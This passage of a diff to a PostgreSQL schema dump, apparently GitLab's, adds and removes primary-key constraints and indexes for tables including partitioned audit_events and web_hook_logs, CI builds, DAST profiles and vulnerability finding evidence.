+ ADD CONSTRAINT web_hook_logs_202212_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202301
+ ADD CONSTRAINT web_hook_logs_202301_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202302
+ ADD CONSTRAINT web_hook_logs_202302_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202303
+ ADD CONSTRAINT web_hook_logs_202303_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202304
+ ADD CONSTRAINT web_hook_logs_202304_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202305
+ ADD CONSTRAINT web_hook_logs_202305_pkey PRIMARY KEY (id, created_at);
+
+ALTER TABLE ONLY gitlab_partitions_dynamic.web_hook_logs_202306
+ ADD CONSTRAINT web_hook_logs_202306_pkey PRIMARY KEY (id, created_at);
+
ALTER TABLE ONLY product_analytics_events_experimental
ADD CONSTRAINT product_analytics_events_experimental_pkey PRIMARY KEY (id, project_id);
@@ -20061,8 +21240,8 @@ ALTER TABLE ONLY analytics_cycle_analytics_group_value_streams
ALTER TABLE ONLY analytics_cycle_analytics_project_stages
ADD CONSTRAINT analytics_cycle_analytics_project_stages_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY analytics_devops_adoption_segment_selections
- ADD CONSTRAINT analytics_devops_adoption_segment_selections_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY analytics_cycle_analytics_project_value_streams
+ ADD CONSTRAINT analytics_cycle_analytics_project_value_streams_pkey PRIMARY KEY (id);
ALTER TABLE ONLY analytics_devops_adoption_segments
ADD CONSTRAINT analytics_devops_adoption_segments_pkey PRIMARY KEY (id);
@@ -20070,12 +21249,12 @@ ALTER TABLE ONLY analytics_devops_adoption_segments
ALTER TABLE ONLY analytics_devops_adoption_snapshots
ADD CONSTRAINT analytics_devops_adoption_snapshots_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY analytics_instance_statistics_measurements
- ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id);
-
ALTER TABLE ONLY analytics_language_trend_repository_languages
ADD CONSTRAINT analytics_language_trend_repository_languages_pkey PRIMARY KEY (programming_language_id, project_id, snapshot_date);
+ALTER TABLE ONLY analytics_usage_trends_measurements
+ ADD CONSTRAINT analytics_usage_trends_measurements_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY appearances
ADD CONSTRAINT appearances_pkey PRIMARY KEY (id);
@@ -20124,12 +21303,6 @@ ALTER TABLE ONLY approvers
ALTER TABLE ONLY atlassian_identities
ADD CONSTRAINT atlassian_identities_pkey PRIMARY KEY (user_id);
-ALTER TABLE ONLY audit_events_archived
- ADD CONSTRAINT audit_events_archived_pkey PRIMARY KEY (id);
-
-ALTER TABLE ONLY audit_events
- ADD CONSTRAINT audit_events_pkey PRIMARY KEY (id, created_at);
-
ALTER TABLE ONLY authentication_events
ADD CONSTRAINT authentication_events_pkey PRIMARY KEY (id);
@@ -20172,6 +21345,9 @@ ALTER TABLE ONLY boards_epic_board_labels
ALTER TABLE ONLY boards_epic_board_positions
ADD CONSTRAINT boards_epic_board_positions_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY boards_epic_board_recent_visits
+ ADD CONSTRAINT boards_epic_board_recent_visits_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY boards_epic_boards
ADD CONSTRAINT boards_epic_boards_pkey PRIMARY KEY (id);
@@ -20196,6 +21372,12 @@ ALTER TABLE ONLY bulk_import_configurations
ALTER TABLE ONLY bulk_import_entities
ADD CONSTRAINT bulk_import_entities_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY bulk_import_export_uploads
+ ADD CONSTRAINT bulk_import_export_uploads_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY bulk_import_exports
+ ADD CONSTRAINT bulk_import_exports_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY bulk_import_failures
ADD CONSTRAINT bulk_import_failures_pkey PRIMARY KEY (id);
@@ -20268,12 +21450,21 @@ ALTER TABLE ONLY ci_instance_variables
ALTER TABLE ONLY ci_job_artifacts
ADD CONSTRAINT ci_job_artifacts_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_job_token_project_scope_links
+ ADD CONSTRAINT ci_job_token_project_scope_links_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_job_variables
ADD CONSTRAINT ci_job_variables_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_minutes_additional_packs
+ ADD CONSTRAINT ci_minutes_additional_packs_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_namespace_monthly_usages
ADD CONSTRAINT ci_namespace_monthly_usages_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_pending_builds
+ ADD CONSTRAINT ci_pending_builds_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_pipeline_artifacts
ADD CONSTRAINT ci_pipeline_artifacts_pkey PRIMARY KEY (id);
@@ -20322,6 +21513,9 @@ ALTER TABLE ONLY ci_runner_projects
ALTER TABLE ONLY ci_runners
ADD CONSTRAINT ci_runners_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_running_builds
+ ADD CONSTRAINT ci_running_builds_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_sources_pipelines
ADD CONSTRAINT ci_sources_pipelines_pkey PRIMARY KEY (id);
@@ -20346,6 +21540,12 @@ ALTER TABLE ONLY ci_trigger_requests
ALTER TABLE ONLY ci_triggers
ADD CONSTRAINT ci_triggers_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY ci_unit_test_failures
+ ADD CONSTRAINT ci_unit_test_failures_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY ci_unit_tests
+ ADD CONSTRAINT ci_unit_tests_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY ci_variables
ADD CONSTRAINT ci_variables_pkey PRIMARY KEY (id);
@@ -20403,6 +21603,12 @@ ALTER TABLE ONLY clusters_applications_prometheus
ALTER TABLE ONLY clusters_applications_runners
ADD CONSTRAINT clusters_applications_runners_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY clusters_integration_elasticstack
+ ADD CONSTRAINT clusters_integration_elasticstack_pkey PRIMARY KEY (cluster_id);
+
+ALTER TABLE ONLY clusters_integration_prometheus
+ ADD CONSTRAINT clusters_integration_prometheus_pkey PRIMARY KEY (cluster_id);
+
ALTER TABLE ONLY clusters_kubernetes_namespaces
ADD CONSTRAINT clusters_kubernetes_namespaces_pkey PRIMARY KEY (id);
@@ -20430,12 +21636,21 @@ ALTER TABLE ONLY csv_issue_imports
ALTER TABLE ONLY custom_emoji
ADD CONSTRAINT custom_emoji_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_profiles_pipelines
+ ADD CONSTRAINT dast_profiles_pipelines_pkey PRIMARY KEY (dast_profile_id, ci_pipeline_id);
+
ALTER TABLE ONLY dast_profiles
ADD CONSTRAINT dast_profiles_pkey PRIMARY KEY (id);
ALTER TABLE ONLY dast_scanner_profiles
ADD CONSTRAINT dast_scanner_profiles_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dast_site_profile_secret_variables
+ ADD CONSTRAINT dast_site_profile_secret_variables_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY dast_site_profiles_pipelines
+ ADD CONSTRAINT dast_site_profiles_pipelines_pkey PRIMARY KEY (dast_site_profile_id, ci_pipeline_id);
+
ALTER TABLE ONLY dast_site_profiles
ADD CONSTRAINT dast_site_profiles_pkey PRIMARY KEY (id);
@@ -20496,6 +21711,12 @@ ALTER TABLE ONLY dora_daily_metrics
ALTER TABLE ONLY draft_notes
ADD CONSTRAINT draft_notes_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY elastic_index_settings
+ ADD CONSTRAINT elastic_index_settings_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY elastic_reindexing_slices
+ ADD CONSTRAINT elastic_reindexing_slices_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY elastic_reindexing_subtasks
ADD CONSTRAINT elastic_reindexing_subtasks_pkey PRIMARY KEY (id);
@@ -20676,9 +21897,18 @@ ALTER TABLE ONLY import_export_uploads
ALTER TABLE ONLY import_failures
ADD CONSTRAINT import_failures_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY in_product_marketing_emails
+ ADD CONSTRAINT in_product_marketing_emails_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY incident_management_oncall_shifts
ADD CONSTRAINT inc_mgmnt_no_overlapping_oncall_shifts EXCLUDE USING gist (rotation_id WITH =, tstzrange(starts_at, ends_at, '[)'::text) WITH &&);
+ALTER TABLE ONLY incident_management_escalation_policies
+ ADD CONSTRAINT incident_management_escalation_policies_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY incident_management_escalation_rules
+ ADD CONSTRAINT incident_management_escalation_rules_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY incident_management_oncall_participants
ADD CONSTRAINT incident_management_oncall_participants_pkey PRIMARY KEY (id);
@@ -20811,6 +22041,9 @@ ALTER TABLE ONLY merge_request_context_commit_diff_files
ALTER TABLE ONLY merge_request_context_commits
ADD CONSTRAINT merge_request_context_commits_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY merge_request_diff_commit_users
+ ADD CONSTRAINT merge_request_diff_commit_users_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY merge_request_diff_commits
ADD CONSTRAINT merge_request_diff_commits_pkey PRIMARY KEY (merge_request_diff_id, relative_order);
@@ -20955,6 +22188,9 @@ ALTER TABLE ONLY packages_debian_group_component_files
ALTER TABLE ONLY packages_debian_group_components
ADD CONSTRAINT packages_debian_group_components_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY packages_debian_group_distribution_keys
+ ADD CONSTRAINT packages_debian_group_distribution_keys_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY packages_debian_group_distributions
ADD CONSTRAINT packages_debian_group_distributions_pkey PRIMARY KEY (id);
@@ -20967,6 +22203,9 @@ ALTER TABLE ONLY packages_debian_project_component_files
ALTER TABLE ONLY packages_debian_project_components
ADD CONSTRAINT packages_debian_project_components_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY packages_debian_project_distribution_keys
+ ADD CONSTRAINT packages_debian_project_distribution_keys_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY packages_debian_project_distributions
ADD CONSTRAINT packages_debian_project_distributions_pkey PRIMARY KEY (id);
@@ -20982,6 +22221,9 @@ ALTER TABLE ONLY packages_dependency_links
ALTER TABLE ONLY packages_events
ADD CONSTRAINT packages_events_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY packages_helm_file_metadata
+ ADD CONSTRAINT packages_helm_file_metadata_pkey PRIMARY KEY (package_file_id);
+
ALTER TABLE ONLY packages_maven_metadata
ADD CONSTRAINT packages_maven_metadata_pkey PRIMARY KEY (id);
@@ -21231,6 +22473,9 @@ ALTER TABLE ONLY security_findings
ALTER TABLE ONLY security_orchestration_policy_configurations
ADD CONSTRAINT security_orchestration_policy_configurations_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY security_orchestration_policy_rule_schedules
+ ADD CONSTRAINT security_orchestration_policy_rule_schedules_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY security_scans
ADD CONSTRAINT security_scans_pkey PRIMARY KEY (id);
@@ -21288,6 +22533,9 @@ ALTER TABLE ONLY spam_logs
ALTER TABLE ONLY sprints
ADD CONSTRAINT sprints_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY status_check_responses
+ ADD CONSTRAINT status_check_responses_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY status_page_published_incidents
ADD CONSTRAINT status_page_published_incidents_pkey PRIMARY KEY (id);
@@ -21333,6 +22581,9 @@ ALTER TABLE ONLY trending_projects
ALTER TABLE ONLY u2f_registrations
ADD CONSTRAINT u2f_registrations_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY upcoming_reconciliations
+ ADD CONSTRAINT upcoming_reconciliations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY uploads
ADD CONSTRAINT uploads_pkey PRIMARY KEY (id);
@@ -21345,6 +22596,9 @@ ALTER TABLE ONLY user_callouts
ALTER TABLE ONLY user_canonical_emails
ADD CONSTRAINT user_canonical_emails_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY user_credit_card_validations
+ ADD CONSTRAINT user_credit_card_validations_pkey PRIMARY KEY (user_id);
+
ALTER TABLE ONLY user_custom_attributes
ADD CONSTRAINT user_custom_attributes_pkey PRIMARY KEY (id);
@@ -21399,12 +22653,24 @@ ALTER TABLE ONLY vulnerability_external_issue_links
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY vulnerability_finding_fingerprints
- ADD CONSTRAINT vulnerability_finding_fingerprints_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_evidence_headers
+ ADD CONSTRAINT vulnerability_finding_evidence_headers_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_requests
+ ADD CONSTRAINT vulnerability_finding_evidence_requests_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY vulnerability_finding_evidence_responses
+ ADD CONSTRAINT vulnerability_finding_evidence_responses_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY vulnerability_finding_evidences
+ ADD CONSTRAINT vulnerability_finding_evidences_pkey PRIMARY KEY (id);
ALTER TABLE ONLY vulnerability_finding_links
ADD CONSTRAINT vulnerability_finding_links_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_finding_signatures
+ ADD CONSTRAINT vulnerability_finding_signatures_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_findings_remediations
ADD CONSTRAINT vulnerability_findings_remediations_pkey PRIMARY KEY (id);
@@ -21438,8 +22704,8 @@ ALTER TABLE ONLY vulnerability_statistics
ALTER TABLE ONLY vulnerability_user_mentions
ADD CONSTRAINT vulnerability_user_mentions_pkey PRIMARY KEY (id);
-ALTER TABLE ONLY web_hook_logs
- ADD CONSTRAINT web_hook_logs_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY web_hook_logs_archived
+ ADD CONSTRAINT web_hook_logs_archived_pkey PRIMARY KEY (id);
ALTER TABLE ONLY web_hooks
ADD CONSTRAINT web_hooks_pkey PRIMARY KEY (id);
@@ -21465,6 +22731,78 @@ ALTER TABLE ONLY x509_issuers
ALTER TABLE ONLY zoom_meetings
ADD CONSTRAINT zoom_meetings_pkey PRIMARY KEY (id);
+CREATE INDEX analytics_index_audit_events_part_on_created_at_and_author_id ON ONLY audit_events USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_000000_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_000000 USING btree (created_at, author_id);
+
+CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_000000_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_000000 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202212_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202212 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202212_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202212 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202301_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202301 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202301_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202301 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202302_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202302 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202302_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202302 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202303_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202303 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202303_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202303 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202304_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202304 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202304_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202304 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202305_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202305 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202305_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202305 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX audit_events_202306_created_at_author_id_idx ON gitlab_partitions_dynamic.audit_events_202306 USING btree (created_at, author_id);
+
+CREATE INDEX audit_events_202306_entity_id_entity_type_id_author_id_crea_idx ON gitlab_partitions_dynamic.audit_events_202306 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
+CREATE INDEX index_web_hook_logs_part_on_web_hook_id ON ONLY web_hook_logs USING btree (web_hook_id);
+
+CREATE INDEX index_1554dc6f11 ON gitlab_partitions_dynamic.web_hook_logs_202301 USING btree (web_hook_id);
+
+CREATE INDEX index_719c6187cb ON gitlab_partitions_dynamic.web_hook_logs_202212 USING btree (web_hook_id);
+
+CREATE INDEX index_80bf138a51 ON gitlab_partitions_dynamic.web_hook_logs_000000 USING btree (web_hook_id);
+
+CREATE INDEX index_web_hook_logs_part_on_created_at_and_web_hook_id ON ONLY web_hook_logs USING btree (created_at, web_hook_id);
+
+CREATE INDEX index_962081978f ON gitlab_partitions_dynamic.web_hook_logs_202212 USING btree (created_at, web_hook_id);
+
+CREATE INDEX index_eecfac613f ON gitlab_partitions_dynamic.web_hook_logs_000000 USING btree (created_at, web_hook_id);
+
+CREATE INDEX index_fdb8d5eeea ON gitlab_partitions_dynamic.web_hook_logs_202301 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202302_created_at_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202302 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202302_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202302 USING btree (web_hook_id);
+
+CREATE INDEX web_hook_logs_202303_created_at_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202303 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202303_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202303 USING btree (web_hook_id);
+
+CREATE INDEX web_hook_logs_202304_created_at_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202304 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202304_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202304 USING btree (web_hook_id);
+
+CREATE INDEX web_hook_logs_202305_created_at_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202305 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202305_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202305 USING btree (web_hook_id);
+
+CREATE INDEX web_hook_logs_202306_created_at_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202306 USING btree (created_at, web_hook_id);
+
+CREATE INDEX web_hook_logs_202306_web_hook_id_idx ON gitlab_partitions_dynamic.web_hook_logs_202306 USING btree (web_hook_id);
+
CREATE INDEX index_product_analytics_events_experimental_project_and_time ON ONLY product_analytics_events_experimental USING btree (project_id, collector_tstamp);
CREATE INDEX product_analytics_events_expe_project_id_collector_tstamp_idx10 ON gitlab_partitions_static.product_analytics_events_experimental_10 USING btree (project_id, collector_tstamp);
@@ -21597,10 +22935,6 @@ CREATE INDEX product_analytics_events_experi_project_id_collector_tstamp_idx ON
CREATE INDEX active_billable_users ON users USING btree (id) WHERE (((state)::text = 'active'::text) AND ((user_type IS NULL) OR (user_type = ANY (ARRAY[NULL::integer, 6, 4]))) AND ((user_type IS NULL) OR (user_type <> ALL ('{2,6,1,3,7,8}'::smallint[]))));
-CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events_archived USING btree (created_at, author_id);
-
-CREATE INDEX analytics_index_audit_events_part_on_created_at_and_author_id ON ONLY audit_events USING btree (created_at, author_id);
-
CREATE INDEX analytics_index_events_on_created_at_and_author_id ON events USING btree (created_at, author_id);
CREATE INDEX analytics_repository_languages_on_project_id ON analytics_language_trend_repository_languages USING btree (project_id);
@@ -21629,22 +22963,44 @@ CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_and_note_id_index ON epic_user
CREATE UNIQUE INDEX epic_user_mentions_on_epic_id_index ON epic_user_mentions USING btree (epic_id) WHERE (note_id IS NULL);
+CREATE INDEX finding_evidence_header_on_finding_evidence_request_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_request_id);
+
+CREATE INDEX finding_evidence_header_on_finding_evidence_response_id ON vulnerability_finding_evidence_headers USING btree (vulnerability_finding_evidence_response_id);
+
+CREATE INDEX finding_evidence_requests_on_finding_evidence_id ON vulnerability_finding_evidence_requests USING btree (vulnerability_finding_evidence_id);
+
+CREATE INDEX finding_evidence_responses_on_finding_evidences_id ON vulnerability_finding_evidence_responses USING btree (vulnerability_finding_evidence_id);
+
+CREATE INDEX finding_evidences_on_vulnerability_occurrence_id ON vulnerability_finding_evidences USING btree (vulnerability_occurrence_id);
+
CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_finding_links USING btree (vulnerability_occurrence_id);
-CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events_archived USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+CREATE UNIQUE INDEX i_ci_job_token_project_scope_links_on_source_and_target_project ON ci_job_token_project_scope_links USING btree (source_project_id, target_project_id);
-CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+CREATE INDEX idx_analytics_devops_adoption_segments_on_namespace_id ON analytics_devops_adoption_segments USING btree (namespace_id);
+
+CREATE INDEX idx_award_emoji_on_user_emoji_name_awardable_type_awardable_id ON award_emoji USING btree (user_id, name, awardable_type, awardable_id);
CREATE INDEX idx_ci_pipelines_artifacts_locked ON ci_pipelines USING btree (ci_ref_id, id) WHERE (locked = 1);
+CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at ON container_expiration_policies USING btree (project_id, next_run_at) WHERE (enabled = true);
+
CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at_enabled ON container_expiration_policies USING btree (project_id, next_run_at, enabled);
CREATE INDEX idx_container_repositories_on_exp_cleanup_status_and_start_date ON container_repositories USING btree (expiration_policy_cleanup_status, expiration_policy_started_at);
CREATE INDEX idx_deployment_clusters_on_cluster_id_and_kubernetes_namespace ON deployment_clusters USING btree (cluster_id, kubernetes_namespace);
+CREATE INDEX idx_devops_adoption_segments_namespace_end_time ON analytics_devops_adoption_snapshots USING btree (namespace_id, end_time);
+
+CREATE INDEX idx_devops_adoption_segments_namespace_recorded_at ON analytics_devops_adoption_snapshots USING btree (namespace_id, recorded_at);
+
+CREATE UNIQUE INDEX idx_devops_adoption_segments_namespaces_pair ON analytics_devops_adoption_segments USING btree (display_namespace_id, namespace_id);
+
CREATE INDEX idx_eaprpb_external_approval_rule_id ON external_approval_rules_protected_branches USING btree (external_approval_rule_id);
+CREATE INDEX idx_elastic_reindexing_slices_on_elastic_reindexing_subtask_id ON elastic_reindexing_slices USING btree (elastic_reindexing_subtask_id);
+
CREATE UNIQUE INDEX idx_environment_merge_requests_unique_index ON deployment_merge_requests USING btree (environment_id, merge_request_id);
CREATE INDEX idx_geo_con_rep_updated_events_on_container_repository_id ON geo_container_repository_updated_events USING btree (container_repository_id);
@@ -21655,6 +23011,8 @@ CREATE INDEX idx_issues_on_project_id_and_created_at_and_id_and_state_id ON issu
CREATE INDEX idx_issues_on_project_id_and_due_date_and_id_and_state_id ON issues USING btree (project_id, due_date, id, state_id) WHERE (due_date IS NOT NULL);
+CREATE INDEX idx_issues_on_project_id_and_rel_asc_and_id ON issues USING btree (project_id, relative_position, id);
+
CREATE INDEX idx_issues_on_project_id_and_rel_position_and_state_id_and_id ON issues USING btree (project_id, relative_position, state_id, id DESC);
CREATE INDEX idx_issues_on_project_id_and_updated_at_and_id_and_state_id ON issues USING btree (project_id, updated_at, id, state_id);
@@ -21665,6 +23023,8 @@ CREATE INDEX idx_jira_connect_subscriptions_on_installation_id ON jira_connect_s
CREATE UNIQUE INDEX idx_jira_connect_subscriptions_on_installation_id_namespace_id ON jira_connect_subscriptions USING btree (jira_connect_installation_id, namespace_id);
+CREATE INDEX idx_keys_expires_at_and_before_expiry_notification_undelivered ON keys USING btree (date(timezone('UTC'::text, expires_at)), before_expiry_notification_delivered_at) WHERE (before_expiry_notification_delivered_at IS NULL);
+
CREATE INDEX idx_members_created_at_user_id_invite_token ON members USING btree (created_at) WHERE ((invite_token IS NOT NULL) AND (user_id IS NULL));
CREATE INDEX idx_merge_requests_on_id_and_merge_jid ON merge_requests USING btree (id, merge_jid) WHERE ((merge_jid IS NOT NULL) AND (state_id = 4));
@@ -21683,6 +23043,8 @@ CREATE UNIQUE INDEX idx_metrics_users_starred_dashboard_on_user_project_dashboar
CREATE INDEX idx_mr_cc_diff_files_on_mr_cc_id_and_sha ON merge_request_context_commit_diff_files USING btree (merge_request_context_commit_id, sha);
+CREATE INDEX idx_mrs_on_target_id_and_created_at_and_state_id ON merge_requests USING btree (target_project_id, state_id, created_at, id);
+
CREATE UNIQUE INDEX idx_on_compliance_management_frameworks_namespace_id_name ON compliance_management_frameworks USING btree (namespace_id, name);
CREATE UNIQUE INDEX idx_on_external_approval_rules_project_id_external_url ON external_approval_rules USING btree (project_id, external_url);
@@ -21697,9 +23059,9 @@ CREATE INDEX idx_packages_debian_project_component_files_on_architecture_id ON p
CREATE INDEX idx_packages_packages_on_project_id_name_version_package_type ON packages_packages USING btree (project_id, name, version, package_type);
-CREATE INDEX idx_pkgs_deb_grp_architectures_on_distribution_id ON packages_debian_group_architectures USING btree (distribution_id);
+CREATE INDEX idx_pkgs_debian_group_distribution_keys_on_distribution_id ON packages_debian_group_distribution_keys USING btree (distribution_id);
-CREATE INDEX idx_pkgs_deb_proj_architectures_on_distribution_id ON packages_debian_project_architectures USING btree (distribution_id);
+CREATE INDEX idx_pkgs_debian_project_distribution_keys_on_distribution_id ON packages_debian_project_distribution_keys USING btree (distribution_id);
CREATE UNIQUE INDEX idx_pkgs_dep_links_on_pkg_id_dependency_id_dependency_type ON packages_dependency_links USING btree (package_id, dependency_id, dependency_type);
@@ -21735,9 +23097,9 @@ CREATE INDEX idx_security_scans_on_scan_type ON security_scans USING btree (scan
CREATE UNIQUE INDEX idx_serverless_domain_cluster_on_clusters_applications_knative ON serverless_domain_cluster USING btree (clusters_applications_knative_id);
-CREATE UNIQUE INDEX idx_vuln_fingerprints_on_occurrences_id_and_fingerprint ON vulnerability_finding_fingerprints USING btree (finding_id, fingerprint_sha256);
+CREATE UNIQUE INDEX idx_vuln_signatures_on_occurrences_id_and_signature_sha ON vulnerability_finding_signatures USING btree (finding_id, signature_sha);
-CREATE UNIQUE INDEX idx_vuln_fingerprints_uniqueness ON vulnerability_finding_fingerprints USING btree (finding_id, algorithm_type, fingerprint_sha256);
+CREATE UNIQUE INDEX idx_vuln_signatures_uniqueness_signature_sha ON vulnerability_finding_signatures USING btree (finding_id, algorithm_type, signature_sha);
CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_ext_issue ON vulnerability_external_issue_links USING btree (vulnerability_id, external_type, external_project_key, external_issue_key);
@@ -21795,9 +23157,11 @@ CREATE INDEX index_analytics_ca_project_stages_on_relative_position ON analytics
CREATE INDEX index_analytics_ca_project_stages_on_start_event_label_id ON analytics_cycle_analytics_project_stages USING btree (start_event_label_id);
-CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
+CREATE INDEX index_analytics_ca_project_stages_on_value_stream_id ON analytics_cycle_analytics_project_stages USING btree (project_value_stream_id);
-CREATE UNIQUE INDEX index_analytics_devops_adoption_segments_on_namespace_id ON analytics_devops_adoption_segments USING btree (namespace_id);
+CREATE UNIQUE INDEX index_analytics_ca_project_value_streams_on_project_id_and_name ON analytics_cycle_analytics_project_value_streams USING btree (project_id, name);
+
+CREATE INDEX index_analytics_cycle_analytics_group_stages_custom_only ON analytics_cycle_analytics_group_stages USING btree (id) WHERE (custom = true);
CREATE INDEX index_application_settings_on_custom_project_templates_group_id ON application_settings USING btree (custom_project_templates_group_id);
@@ -21875,8 +23239,6 @@ CREATE INDEX index_authentication_events_on_user_id ON authentication_events USI
CREATE INDEX index_award_emoji_on_awardable_type_and_awardable_id ON award_emoji USING btree (awardable_type, awardable_id);
